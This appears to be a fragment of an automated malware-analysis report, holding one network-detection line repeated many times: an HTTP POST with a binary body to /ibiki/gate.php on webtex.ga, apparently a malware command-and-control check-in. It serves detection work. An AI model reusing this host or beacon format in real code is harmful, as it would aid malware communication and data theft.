Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
